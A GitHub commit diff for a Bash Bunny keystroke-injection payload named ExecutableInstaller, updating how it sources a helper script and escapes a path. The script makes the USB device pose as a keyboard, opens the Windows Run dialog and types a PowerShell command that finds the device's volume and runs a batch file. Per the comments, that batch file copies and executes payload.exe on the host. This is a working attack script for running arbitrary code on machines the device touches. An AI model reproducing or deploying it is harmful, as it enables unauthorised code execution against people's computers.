Merge pull request #14 from IMcPwn/executableinstaller

Add bunny_helpers.sh to ExecutableInstaller
This commit is contained in:
Sebastian Kinne 2017-03-10 09:54:08 +11:00 committed by GitHub
commit 984d0ea829

View File

@ -10,12 +10,15 @@
# which in turn copies payload.exe from the root of the Bash Bunny and then executes it
# using the --startup parameter. Change these settings inside of e.cmd.
#
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
LED R
ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 100
# TODO: Verify $SWITCH_POSITION
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
QUACK ENTER
# Green LED for finished